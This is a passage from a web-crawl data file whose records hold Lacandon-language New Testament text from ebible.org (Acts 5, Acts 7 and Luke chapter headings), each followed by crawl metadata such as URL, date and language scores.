tsec'ta'r u t'ʌn, caj u yirob mʌna'. A policíajo', caj wʌc'ʌs urob ich u jach ts'urirob u winiquirob judío.\n23 Caj u ya'arajob:\n―Mʌna', qui' toy c'ʌra'an u jor, bayiri' xan, ti' yʌnob yʌjcʌnʌnyʌjirob tu mʌca'anob ca'ch. Caj in q'ue'ajob, mʌna' tu cuch, chen naj ―baxuc tu ya'araj a policíajo' ti' u jach ts'urirob.\n24 Caj yubob u jach ts'urirob u sacerdote u winiquirob judío yejer u capitán a policíajo', jaq'uij yorob. Mʌ' ja wirej, robob mʌ' yerob bic tabar caj joc'ob, quire' qui' c'ʌra'an u jor tu mʌca'an a mac tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn.\n25 Ra'iri' u q'uinin caj tarij mac caj u ya'araj ti'ob:\n―A caj a mʌcajex jo'oraj ti' yʌnob ich carem naj tu quic naj c'ujinticob C'uj. Ti' ch'ica'anob, cu camsicob u yet winiquirob judío.\n26 Caj ts'oc u rʌc u'yicob ya'araj, caj binob pʌybirob ten u capitáno' policía yejer u rac'ob u yet policía. Caj binob u pʌyej a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn. Caj c'uchob tu yʌnob a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn, caj u qui' pʌyajob, quire' wa mʌ' ju qui' pʌyob, cu ch'ic sajquirob u ch'ininob u jo'r ten u yet winiquirob judío, a ti' much'a'anob ich a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn.\n27 Jeroj caj tarob purbir ich u jach ts'urirob sacerdote u winiquirob judío yejer u yet ts'urirob u winiquirob judío, ts'ar u pachob u ch'ictarob ich ʌcʌtan u jach ts'urirob u winiquirob judío. Chen a mac u jach ts'urir u sacerdote u winiquirob judío, caj u c'ataj ti'ob tan ya'aric:\n28 ―Mʌ' wa caj in wa'arob techex, mʌ' a yʌn camsiquex u t'ʌn Jesús? Chen mʌ' ja quibex in t'ʌnob. Ra' a mac cʌja'an ich u cajar Jerusalén caj u yubob ba' caj a camsajex. Mʌ' jari', ca pʌq'uiquex in pachob an ten bic caj in quinsob ti'.\n29 Pedro caj u nuncaj ti' u jach ts'urir u sacerdote u winiquirob judío. Bayiri' a ju yet tuchi'tacob ten Jesús quir u tsec'ta'r u t'ʌn, caj u nuncajob u t'ʌn xan, caj u ya'arajob:\n―Yʌn u'yibir a ba' cu ya'aric C'uj ca' in quibejob, cax mʌ' in wu'yicob u t'ʌn mac, a ba' cu yaque'.\n30 A techexo', caj a quinsajex Jesús caj a wa'arajex ca' sinic ich cruz, chen ij C'ujirex ra' u C'ujir ic nunquirex caj u ric'saj Jesús ti' u quimirir.\n31 A Jesúso', caj payij ca'anan ich u noj C'uj quir u ts'urintic tu cotor mac, bayiri' xan, quir u taquic tu cotor mac. Mʌ' ja wirej, a C'ujo' u c'at u yiric u c'axicob u yorob soc u p'ʌticob u c'asirob tu cotor u winiquirob israel, quir u jawsic u si'pirob.\n32 A je' quin wa'aricob techex, taj quire' caj ts'oc u riq'uir ich u quimirir caj in wirajob tin wich, bayiri' xan, u Taj'or u Pixam C'uj yer a ba' quin tsicbʌticob techex jach taj. Mʌ' ja wirej, jari' ts'a'b u Taj'or u Pixam C'uj ti' a mac a cu quibicob u t'ʌn ―baxuc caj u nuncajob a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn.\n33 Caj yubob ya'ara'r ten a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn, jeroj u jach ts'urirob, u winiquirob judío jach p'ujob yorob rajen u jach ts'urirob u jach c'at u quinsicob a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn.\n34 Chen turiri' a ti' yʌni' ich u jach ts'urirob u winiquirob judío, a mac a fariseojo', Gamaliel u c'aba', raji' xan, yʌjcamsʌyʌjir u t'ʌn Moisés. Tsoy yiricob Gamaliel tu cotor mac. Caj riq'uij ch'ictar Gamaliel quir u tsicbar yejer u yet ts'urirob u winiquirob judío. Chen caj u yʌn araj ca' joc'sacob ich tancab a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn. Jamach joc'sa'b tu much'a'anob u jach ts'urirob u winiquirob judío.\n35 Caj joc'sa'b, jeroj caj u t'ʌnaj u yet jach ts'urirob u winiquirob judío Gamaliel, caj u ya'araj ti'ob:\n―In wet jach ts'urirobex u winiquirob judío, a techexo', u xibirechob Israel qui' qui' cʌnantej a bʌjex ti' a je' xibo' a ca pʌq'uiquex u pachob, a mac a ti' yʌn ich tancab baje'rer.\n36 Mʌ' wa c'aj techex a ray u q'uinino' caj ts'iquij Teudas, quire' u jach ts'urir u cajar. C'aj wa techex a ba' caj u ya'araj Teudas? Mʌ' wa caj u ya'araj: \"A teno' u jach ts'uriren tu cotor mac.\" Yʌn mac tu quibajob u t'ʌn, rajen caj sayob tu pach Teudas. Yʌn cuatrocientos xib caj sayob tu pach Teudas uche'. Chen caj quinsa'b Teudas jeroj a mac a sayob tu pach uche' caj rʌc binob tu yatochob. A baywo' ts'oc u binob.\n37 Caj u wʌc'ʌs araj Gamaliel ti' u yet ts'urirob u winiquirob judío, tan ya'aric:\n―Mʌ' wa ja c'ʌ'otex u q'uinin caj ic ts'ibtajex ij c'aba'ex quet yejer tu cotor mac soc yerob mun u pimino'onex? Jeroj tune', caj ts'iquij a mac u c'aba' Judas yejer u jach ts'urirob tu cajar. A Judaso' ra' cʌja'an ich u ru'umin Galilea. Ra'iri' xan, caj u pʌyaj ca' xicob tu pach a pimo'. Jeroj caj quimij Judas xan. A mac a cu sayʌrob tu pach uche' caj binob ich yatochob.\n38 Rajen quin wa'aric techex ―quij Gamaliel―. Yʌn tsire'ej, p'ʌtej tu junanob. Je' u ts'ocare' ―quij―, wa chen yejer u muc' xib cu camsicob.\n39 Chen wa cu tar ich C'uj a ba' cu camsicobe'. Mʌ' u c'uchur a worex a su'siquex a ba' cu camsicobe'. Mʌ' ja wirej, je' a ts'iquintiquex C'uj ―baxuc caj ya'araj Gamaliel ti' u yet ts'urirob u winiquirob judío.\n40 U jach ts'urirob u winiquirob judío caj u quibajob a ba' caj u yubob ya'ara' ti'ob ten Gamaliel. Jeroj, tu ca' acsajob a mac tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn ich tu yʌn u jach ts'urirob u winiquirob judío. Robob caj u c'am t'ʌnajob ti'ob, caj ts'oc u jʌts'icob u pachob, caj ya'arob ti' a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn:\n―Mʌ' a yʌn manex a camsiquex u t'ʌn Jesús, mʌ' biq'uin ca camsiquex u t'ʌn. Jeroj tune'.\nCaj cha'bob ca' xicob a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn.\n41 Robob caj joc'ob ti' u jach ts'urirob u winiquirob judío jach manan qui' yorob a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn. Mʌ' ja wirej, qui' yorob quire' C'uj caj u cha'j u muc'yajob quire' caj u yacsajob tu yorob u t'ʌn Jesús.\n42 Jeroj tune', a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn mʌ' ju p'ʌtob u camsicob u t'ʌn Jesús, mʌ' ju p'ʌtob u tsec'ticob wa Jesús raji' a Mesíaso', cax ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío, cax ich yatoch mac.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC5.html","date":"2022-06-29T07:14:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103624904.34\/warc\/CC-MAIN-20220629054527-20220629084527-00672.warc.gz","language":"lac","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000029802322388}","num_words":2071,"character_repetition_ratio":0.148,"word_repetition_ratio":0.027,"special_characters_ratio":0.278,"stopwords_ratio":0.49,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"7\nTu nunca Esteban ti'ob\n1 Caj c'ata'b ti' Esteban ten u jach ts'urir sacerdote u winiquirob judío:\n―Jach taj wa tu pʌq'uicob a pach? ―quij.\n2 Esteban caj u nuncaj ti' caj u ya'araj:\n―U'yex a ba' quin wac techex in jach ts'urirechex ij quet winiquirob judío, bayriri' xan, u'yex in wet winiquirob judío. U C'ujir, a mac jach manan chichir u muq'ue', caj u t'ʌnaj ic nunquirex Abraham uch, wa ber ti' toy yʌn uch ich u ru'umin Mesopotamia, cax mʌ' toy xic cʌjtari' ich u cajar Harán.\n3 Mʌ' ja wirej, a C'ujo' caj u ya'araj ti' ic nunquirex Abraham uch: \"Toc p'ʌt a bʌjob ―quij C'uj. Toc p'ʌt a cajar ca' xiquech tu quin pʌyic a ber. Ti' ca bin cʌjtar.\" Baxuc caj ara'b ten C'uj ti' ic nunquirex Abraham ―quij Esteban.\n4 Ic nunquirex Abraham caj joq'uij caj u p'ʌtaj tu cʌja'anob u winiquirob Caldea. Jeroj tune', bin u cʌjtar ich u cajar Harán. Caj quimij u tet Abraham, caj pʌyij ten C'uj, caj u p'ʌtaj u cajar Harán, caj bin cajʌr ich u cajar tu cʌjo'onex baje'rer.\n5 Chen a C'ujo' mʌ' ju ts'ajaj a je' ru'uma' ti' ic nunquirex, mʌ' ts'a'b ti' chichin ru'umi'. Taj toc ara'b ti' ten C'uj: \"Je' in ts'ic tech a je' ru'uma' soc u cajʌrob u parar a pararob.\" Mʌ' wa c'aj techex, mʌna' u pararob ic nunquirex Abraham caj toc ara'b ti' ten C'uj aro' ―quij.\n6 A Estebano', ti' toy cu tsicbar ich u jach ts'urirob u winiquirob judío:\n―Mʌ' jarari'o', quij ya'aric C'uj ti' ic nunquirex Abraham uch. Caj u toc araj C'uj wa je' u binob u parar u pararob ich u jer ru'um. Tiri' cu bin c'ʌnbir beyajob u parar u pararob Abraham. Tiri' cu bin jʌts'bir soc u beyajob xan hasta ca' bin manʌc cuatrocientos yaxq'uin.\n7 Chen a C'ujo' caj u toc araj ti' ic nunquirex Abraham: \"Je' in ts'ic u si'pirob, quij C'uj, ti' a mac a cu c'ʌnicob tu beyajob u parar a pararob. Mʌ' ja wirej, quij C'uj, a mac a tu jʌts'ajob u pachob u parar a pararob soc u beyajob, je' in ts'ic u si'pirobe'. Ca' bin ts'ocac aro', quij C'uj, quin bin in pʌyic u parar a pararob quir u c'ujintiquenob a teno' a tera'.\"\n8 Rajen C'uj, soc quet u yor yejer ic nunquirex Abraham caj u ts'ajaj u t'ʌn ti', rajen ic nunquirex Abraham soc u yesa'r quet u yor yejer a ba' ara'b ti' ten C'uj, jeroj u yʌnxchun u ts'iric u chan parar a xibo', caj ts'oc u man turiri' semana. Rajen caj rocha'b ten u nʌ' Isaac caj u ch'uctaj turiri' semana, jeroj tune', caj ts'ira'b Isaac ten u tet Abraham. Caj c'uchij tu q'uinin caj pararnʌjij u rac' Isaac, bayiri' caj u ch'uctaj turiri' semana caj ts'ira'b u parar ten u tet. Jacob u parar. Baxuc caj pararnʌjij u rac'ob, Jacob caj ts'ira'b u parar. Mʌ' ja wirej, a doce u pararob Jacob ra' u yo'nenob ic nunquirob uch.\n9 Caj u ya'araj Esteban ti' u jach ts'urir u winiquirob judío:\n―A doce u pararob Jacob, ra' u yo'nenob ic nunquirob uch. Chen ti' yʌn ich a docejo' a mac pʌch'a'an u c'aba' José. Jeroj caj con José ten u sucu'unob quire' choc yorob ti' u yits'ino'. Caj conij ti' a mac a cu binob ich u ru'umin Egipto. Chen C'uj ti' yʌn yejer ic nunquirex José.\n10 Mʌ' ja wirej, C'uj caj u ts'aj u t'ʌnin ti' rey, a Faraóno'. Rajen caj u joc'saj José quire' yirir jach t'oj a Joséjo'. Rajen ts'a'b u t'ʌnin ten Faraón quir u yocar u ts'urintic u ru'umin Egipto. Cax a mac a ti' yʌnob ich yatoch Faraón.\n11 Jeroj tune', caj c'uchij tu q'uinin mʌ' ju ch'ijir u yo'ochob ich u ru'umin Egipto, quire' mʌna' ja'. Mʌ' ju ch'ijir ich u ru'umin Canaán. Caj u masajob wi'ij, quire' mʌ' ju ch'ijir yo'och ic nunquirex.\n12 Jeroj caj u yubaj Jacob ti' yʌn yo'och ich u ru'umin Egipto, rajen caj u yʌn ch'ic tuchi'taj u mʌnejob yo'och ic nunquirex uch, robob ic nunquirex u pararob Jacob.\n13 Caj wʌc'ʌs binob ic nunquirex ich u ru'umin Egipto, jeroj, caj u t'ʌnaj u sucu'unob soc u c'ʌ'ota' ten u sucu'unob, a ray u q'uinino', caj c'ʌ'ota'b José ten u sucu'unob, caj ts'oc u t'ʌnʌnob. Bayiri' xan, caj c'ʌ'ota'b José ten a rey Faraón tu cu tar u yo'nen José.\n14 Jeroj tune', José, caj u tuchi'taj u sucu'unob pʌybir u tet Jacob. Caj pay u tet yejer tu cotor u bʌjob. Rajen caj ruc'ob ich u ru'umin tu yʌno'onex ―quij Esteban―, caj rʌc binob ich u ru'umin Egipto tu yʌn José, caj c'uchob ich José ti' yʌn setenta y cinco u bʌjob José.\n15 A baywo', caj c'uchij u tet José ich u ru'umin Egipto. Jacob u tet José. Jeroj tiri' quim Jacob yejer tu cotor ic nunquirex ich u ru'umin Egipto.\n16 Caj manij ya'ab yaxq'uin, caj cuchob purbir u baquer Jacob yejer u baquerob ic nunquirex ich u japnin tunich. A je' u japnin tunicho' u toc mʌnmʌn ic nunquirex Abraham uch ich u ru'umin Siquem. Mʌ' ja wirej, raji' caj u mʌnaj u ru'umin tu yʌn u japnin tunich ti' u parar Hamor yejer u bʌjiri' u taq'uin.\n17 Ti' toy cu tsicbar Esteban ich u jach ts'urirob u winiquirob judío. Raji' caj u ya'araj ti'ob:\n―Jeroj, jach tabar u c'uchur tu q'uinin a baxuc caj toc ara'b ten C'uj ti' ic nunquirex Abraham uch, jach pimij u pararob ic nunquirex ich u ru'umin Egipto uch. Mʌ' ja wirej, C'uj yʌn u ts'ic u ru'umin an ten bic caj u toc araj.\n18 Jeroj tune', caj oc u jer rey quir u reyinticob u ru'umin Egipto. Raji' mʌ' ira'an José, mʌ' c'ʌ'ota'an ten reyi' José.\n19 A je' reyo', caj u ts'ʌraj u pach ic nunquirex tan u jats'ʌrob soc u beyajob. Mʌ' ja wirej, raji' caj u ya'araj ca' joc'acob u chan och a xibo' ic nunquirex soc u quinsa'.\n20 Ra'iri' u q'uinino' a ray reyo', tan u reyinticob u ru'umin Egipto, baxuc ra'iri' u q'uinin caj rocha'b Moisés ten u nʌ'. A chan Moiséso' jach tsoy tu wich C'uj. Caj tsemta'b ten u nʌ' ich yatoch u tet hasta tres ic nʌ'.\n21 Wa ber caj joc'sa'b Moisés ten u nʌ' ich chi' ja', jeroj caj irir ten u parar rey Faraón. Xquic u parar rey Faraón. Raji' u parar Faraón caj u ch'aj u tsemtej chan Moisés an ten bic u wʌc'ʌs bʌjiri' u parar.\n22 Rajen caj camsa'b Moisés ti' tu cotor ba' yerob ich u ru'umin Egipto. Jach t'oj Moisés tsicbar, bayiri' t'oj a ba' cu betic xan.\n23 'Caj c'uchij tu q'uinin yʌn cuarenta yaxq'uin a Moiséso', u c'at u bin u yiric u yet winiquirob judío, ra' u pararob u nunquir israel.\n24 Caj c'uchij Moisés, caj u yiraj tan u jats'ʌr ten u winiquir egipto u yet winiquir israel, rajen Moisés tu yamtaj u yet winiquir israel. Mʌ' ja wirej, caj u tacaj u rac'ob ti' a winiquir egipto caj u quinsa Moisés u winiquir egipto.\n25 Mʌ' ja wirej, caj u tucraj je' u c'ʌ'ota'r Moisés ten u yet winiquir israel wa tuchi'ta'b ten C'uj a Moiséso'. Chen robob mʌ' tu najtajobi' wa tuchi'ta'b Moisés ten C'uj soc u taquicob tu cu c'anan beyajob ten u jach ts'urir u beyajob.\n26 Wʌc'ʌs bin Moisés saman ―quij Esteban―, ich u rac'ob. Caj c'uchij caj u yiraj Moisés tan u ts'ictarob ca'tur u rac'ob. A Moiséso', u c'at u sisquintic u yorob, rajen Moisés caj u t'ʌnob u rac'ob: \"In rac'ob, quij Moisés, biquinin ca ts'ictarex yejer a bʌj? Mʌ' tsoy wa ja ts'ictarex yejer a bʌj\", quij.\n27 Chen a mac a yʌn u si'pir ti', caj p'ujij yor caj u tench'intaj Moisés. Jeroj caj u ya'araj ti': \"Mʌ' ju tetech C'uj quir in ts'uritiquechob. Mʌ' a yʌn aric ca' tsoyac in worob.\n28 Je' wa ja quinsiquen an ten bic caj a quinsaj u winiquir egipto jo'oraj?\"\n29 Caj yubaj Moisés a ba' caj u ya'araj caj jaq'uij yor Moisés caj puts'ij. Ti bin u cajar ich u jer u cajar ich u ru'umin Madián, tu' mʌna' mac yeri'. Tiri' caj u ch'aj u rac' Moisés caj yʌnjijo' u parar. Ca' tur xib u pararob.\n30 Ti' toy cu tsicbar Esteban ich u jach ts'urirob u winiquirob judío, jeroj caj u ya'araj ti'ob:\n―Wa ber caj wʌc'ʌs manij u jer cuarenta yaxq'uin, tiri' yʌn Moisés ich tʌcay ru'um baytʌc tu yʌn u p'uc witsir u c'aba' Sinaí. Caj u yiraj yerar c'ac' ich u chan che'er. A Moiséso' caj bin u yirej yerar c'ac' ich u chan che'er quire' mʌ' ju tupur u c'aq'uir. Jeroj seb, caj u yiraj yʌjmasir u t'ʌn C'uj tu cu yerar c'ac'.\n31 A ba' caj u yiraje' jac' yor Moisés. Tu c'ʌs nʌts'aj u bʌj u yirej Moisés caj u yubaj u t'ʌn Jaj Ts'ur. Caj t'ʌn Moisés ten Jaj Ts'ur.\n32 Moisés caj u yubaj ya'ara': \"A teno' C'ujen. Tu c'ujintajen a nunquir Abraham. Tu c'ujintajen a nunquir Isaac. Tu c'ujintajen a nunquir Jacob.\" Jach jaq'uij yor Moisés rajen caj babacnʌjij. Mʌ' u c'at u pʌctic biq'uini'.\n33 Ara'b ti' Moisés ten Jaj Ts'ur: \"Yʌn pit a pech xʌnʌb ca' ocaquech tera' tu jach tsoy u ru'umin, quij C'uj, quire' ten yʌnin u ru'umin, quij C'uj.\n34 A teno', quij C'uj, jach taj caj in wiraj u jats'ʌrob tu cu ts'arʌr u pachob beyajob. Caj in wu'yaj tu cu c'anan tu cu ts'ara'r u pachob u beyajob ten u winiquirob egipto. Taren in taquicob, quij ya'aric ti', ca' xiquech baje'rer ich u ru'umin Egipto.\"\n35 Esteban caj u ya'araj ti' u jach ts'urirob u winiquirob judío:\n―A je' Moiséso', a mac tench'inta'b ten u wʌc'ʌs rac'ob, a je' Moiséso', a mac ara'b ti': \"Mʌ' ju tetech C'uj quir in ts'urintiquechob'. Mʌ' a yʌn aric tenob ca' tsoyac in worob.\" A je' Moiséso' tuchi'ta'b ten C'uj quir u yocar u ts'urinbir ten u rac'ob. Raji' tuchi'ta'b ten C'uj quir u tocar ic nunquirex ich u ru'umin Egipto. Mʌ' ja wirej, a ray u q'uinino', caj tuchi'ta'b Moisés ten C'uj, a ray u q'uinino', caj u masaj u t'ʌn C'uj yʌjmasir u t'ʌn C'uj tu tu yiraj Moiséso' yerar c'ac' ich u chan che'er.\n36 A je' Moiséso' caj u joc'saj ic nunquirex ti' u ru'umin Egipto tan u pʌyir u berob. Raji' caj u yesaj carem beyajob yejer u jer ya'ab ba' a cu jac'ʌr u yor mac te' ich u ru'umin a Egiptojo', bayiri' xan, tiri' ich u chi' c'ac'nab u c'aba' Chʌc C'ac'nab bayiri' xan, tiri' ich tʌcay ru'um tu cu pʌyic u berob cuarenta yaxq'uin.\n37 A je'ra' ra'iri' a Moiséso' a tu ya'araj ti' u yet winiquirob israel: \"Je' u tetic C'uj u jer a mac a cu bin ts'a'bir u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj an ten bic caj tu tetaj ten, quij Moisés. Tiri' cu bin u tetic ich in wet winiquirob israel. A ray maco', a cu bin taro' yʌn qui' u'wiquex a ba' cu ya'aric techex.\"\n38 A je' Moisésa' uch ―quij Esteban―. Tiri' ti' yʌn ich tʌcay ru'um yejer ic nunquirex wa ber caj tarob tu tu much'quintajob u bʌj ich u p'uc witsir Sinaí. Tiri' yʌn Moisés caj t'ʌnij ten yʌjmasir u t'ʌn C'uj caj c'uchij ich u jach jo'r u p'uc witsir Sinaí. Bayiri' xan, tiri' yʌn Moisés, caj ts'oc u tsicbar yejer u yʌjmasir u t'ʌn C'uj, caj bin u masej u t'ʌnob ti' ic nunquirex tu yʌnob cabar ich u nʌc' u witsir Sinaí. Mʌ' ja wirej, a je' Moiséso', raji' caj u c'ʌmaj u t'ʌn C'uj, a cuxa'ano', quir u masic to'onex.\n39 'Chen ic nunquirex ―quij Esteban―, tu mʌ'quintob u quibicob u t'an Moisés. Mʌ' tu c'ʌmajob u t'ʌn Moisés, quire' ic nunquirex tu wʌc'ʌs pachtajob u sutob tu pach ich u yorob tu tarob ich u ru'umin Egipto.\n40 Mʌ' ja wirej, ti' yʌn Moisés ich u jo'r u p'uc witsir cuarenta q'uin, jeroj caj c'uchob ic nunquirex ich u sucu'un Moisés, Aarón. Caj u ya'arajob ti': \"Mʌ' ij querex ba' u ber Moisés a wits'ino', a cu pʌyico'onex ich u ru'umin Egipto. Aarón cu ya'ara' ten u yet winiquirob israel: Betej c'ujob to'onex soc ca' manʌc ʌcʌtan to'onex quir u pʌyic ic berex.\"\n41 A ray u q'uinino', caj u betajob chan wacʌx u tus c'uj. Ra' beta'b u taq'uin oro. Jeroj caj u quinsajob ya'ab u yʌrʌc' wacʌx quir u ts'ic ti' u tus c'uj. Tiri' tu ts'ʌpquintajob u bʌq'uer wacʌx ich u tus c'uj quir u c'ujinticob. U winiquir israel caj u qui'quintaj yorob quire' u tus c'uj caj u betajob.\n42 Rajen p'at ic nunquirex ten C'uj quir u cha'ic u c'ujinticob u tus c'uj, caj u cha'aj u c'ujinticob, a sabo' a ti' yʌn ich ca'anano'. Baxuc tu ts'ibtaj a mac a ts'a'b u tucur ten C'uj uch tu cu ya'aric:\nA techexo', u winiquirechex israel wa ber caj a quinsajex a wʌrʌc' wacʌx quir a toquiquex ten wa ber ti' yʌnechex cuarenta yaxq'uin ich tʌcay ru'um?\n43 A mʌ' ta chen cuchajex u yatoch a tus c'ujex, a ra' u yatoch a tus c'uj Moloc, a yʌn yochir sab, a tus c'uj Renfán caj a cuchajex quir a c'ujintiquex cax a bʌjiri'ex ta betajexi'. Rajen, quij C'uj, je' in joc'siquechex ca' xiquechex pichir tu yʌn u cajar Babilonia.\nBaxuc caj u ts'ibtaj a mac ts'a'b u tucur ten C'uj quir u ts'ibtic a ba' u c'at C'uj.\n44 Ti' toy cu tsicbar Esteban ich u jach ts'urirob u winiquirob judío, barej caj u ya'araj ti'ob:\n―Wa ber ti' yʌnob ic nunquirex ich tʌcay ru'um a ucho', caj u cuchajob u najir ot' quir u c'ujinticob C'uj tu yʌnob ich tʌcay ru'um. A ray u najiro', a beta'b ten ic nunquirex caj beta'b an ten bic esa'b ti' yʌjmasir u t'ʌn C'uj. Mʌ' ja wirej, toc ara'b ti' Moisés ca' u betej an ten bic esa'b ich u jo'r u p'uc witsir uch.\n45 Ti' toy yʌn Moisés caj teta'b Josué ten C'uj. A Josuéjo', caj u pʌyaj u ber ic nunquirex caj ts'oc u quimin Moisés. Mʌ' ja wirej, ic nunquirex caj u c'ʌmajob a ray u najir ot', rajen p'eri'ob caj u cuchajob yejer Josué ich u ru'umin tu cʌja'ano'onex baje'rer ―quij Esteban―. Ti' binob ich u ru'umin a tera' ―quij Esteban―, a toc ara'b ten C'uj uch. C'uj caj u joc'saj ca' xicob a mac yʌnin u ru'umin uch. U berer caj u c'ujintajob C'uj ic nunquirex ich u najir ot' hasta caj c'uchij tu q'uinin u tar ic nunquirex David u reyinticob ic nunquirex.\n46 Jach yajbir David ten C'uj rajen cu ya'aric ic nunquirex David ti' C'uj: \"Arej in betej tech carem naj soc tiri' cu tarob u c'ujinticob tech tu cotor mac, a techo', u c'ujirech Jacob.\"\n47 Chen mʌ' cha'b u betic a carem najo' ten C'uj. Chen u parar ic nunquirex cha'b u betic a carem najo' ten C'uj. U c'aba' Salomón.\n48 Chen ―quij Esteban―, U c'ujir ca'anan jach carem. Mʌ' u cʌjtar ich carem naj tu cu c'axʌr ten mac, quire' quet bayiri' caj u ya'araj a mac a ts'a'b u tucur ten C'uj caj u ts'ibtaj a ba' u c'at C'uj uch:\n49 A teno', quij C'uj, cu chen ts'urintiquen mac ich ca'anan a mac, a ti' yʌn ich yoc'ocab. A teno', quij C'uj, ti' yʌnen ich ca'anan, bayiri' xan, ti' yʌnen ich yoc'ocab. Rajen mʌ' in watochintej a mac a cu c'ʌxic yatoch, quire' ti' yʌnen, quij C'uj, ich tu cotor mac.\n50 Mʌ' ja wirej, quij C'uj, mʌ' wa ten caj in rʌc betaj tu cotor ba'?\n51 Esteban caj u ya'araj ti' u jach ts'urirob a ti' yʌnob:\n―Jach chich a jo'rex, quen. Jach tam a pixamex. Jach tam a xiquinex, an ten bic a mac a mʌ' yerob C'uj. Rajra' tan a mʌquiquex u ber u Taj'or u Pixam C'uj, caj a jach cʌnajex a nunquirex.\n52 Arex ten ba' u c'aba' a mac a ts'a'b u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj a mʌ' tu chucob u pachob ic nunquirex? Mʌ' wa robob caj u quinsajob uch a mac a tarob tan u tsec'ticob uch je' u tar a mac a jach taj u yoro'? A mac tsec'ta'b ten a mac ts'ab u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj jeroj c'uchij, chen a techexo' caj a c'ubajex soc u quinsa'r.\n53 Jin, techex ―quij Esteban―, a ta c'ʌmajex u t'ʌn C'uj a tu masaj techex Moisés uch. Mʌ' wa ra' tu yʌn masaj u yʌjmasir u t'ʌn C'uj ti' Moisés. Cax caj a c'ʌmajex u t'ʌn C'uj, mʌ' ta quibajexi'.\nCh'in u jo'r Esteban\n54 A mac a ti' yʌnob ich Esteban an ber caj u yubajob caj jach ts'iquijob. Caj u jʌts'ajob u cojob an ten bic cu ts'ictarob jach q'uec'ʌn.\n55 A Estebano', caj u jach ts'urintaj u Taj'or u Pixam C'uj, caj u qui' pʌctaj ca'anan, a ray u q'uinino', caj u yiraj u sasirir C'uj. Bayiri' xan, caj u yiraj ch'iric Jesús ich u no'j C'uj, ra'iri' Jesús a tuchi'ta'b ten C'uj ich yoc'ocab uch.\n56 Jeroj caj u ya'araj Esteban quire' cu yiric ich ca'anan:\n―Ir a wirej ―quij―. Quin wiric ch'iric Jesús ich u no'j C'uj, ra'iri' ti' a mac a tuchi'ta'b ten C'uj ich yoc'ocab uch.\n57 U winiquirob judío, a mac a ti' yʌnob ich Esteban, caj u mʌcob u xiquinob, quire' mʌ' u c'at yubob u t'ʌn Esteban. Jach c'am awʌtnʌjob, jeroj tune', tu cotorob caj u c'ʌnajob yacabob chubir Esteban.\n58 Robob u winiquirob judío, caj ts'oc u chuquicob Esteban, caj joc'sa'b ti' ich tancab u cajarob. Tiri' caj u purobi'. Jeroj caj u pitob u ca' ya'arir u noc' soc tsoy u ch'inicob u jo'r Esteban. Caj u p'ʌtob u noc'ob u cʌnantej Saulo, soc tsoy u ch'inicob Esteban. Caj ch'in u jo'r Esteban a caj u tacajob u jo'r uche'.\n59 Barej caj u ch'inob u jo'r Esteban a ray u q'uinino', caj u t'ʌnaj C'uj Esteban, tan ya'aric:\n―C'ʌmej in pixam, in Jaj Ts'urech Jesús ―quij.\n60 Caj xonrʌj Esteban c'am cu puraj u t'ʌn ti' C'uj:\n―Jawsej u si'pirob Jaj Ts'ur, quire' caj u ch'inob in jo'r.\nCaj ts'oc u ya'aric, jeroj caj quimij Esteban.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC7.html","date":"2022-06-30T06:44:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103669266.42\/warc\/CC-MAIN-20220630062154-20220630092154-00574.warc.gz","language":"lac","language_score":0.9999989271,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.999998927116394}","num_words":3006,"character_repetition_ratio":0.087,"word_repetition_ratio":0.007,"special_characters_ratio":0.287,"stopwords_ratio":0.458,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Yʌjmasir u t'ʌn C'uj caj ya'ara bic tabar u rocha'r Juan ten u nʌ'. Raji' cu bin yacsic ja' tu jo'r mac\nCaj c'ata'b ti' Jesús ten u winiquirob judío: Biquinin mʌ' u jamach p'ʌticob u janʌn u camsʌwinicob?\nJesús cu camsic a pimo': P'is a bʌj soc a wocarex tu cu bin u reyinticob C'uj cax c'ax u jor tu cu yocar\nJesús caj u tuchi'taj u camsʌwinicob quir u chanber chʌquicob yoch quir u qui'qui' janʌnob u q'uinin pascua","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK00.htm","date":"2022-08-17T20:17:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573104.24\/warc\/CC-MAIN-20220817183340-20220817213340-00576.warc.gz","language":"lac","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000073909759521}","num_words":81,"character_repetition_ratio":0.029,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.494,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2\nRaji' u t'ʌn Cristo ti' a yacsmʌnob tu yorob a cu much'quinticob 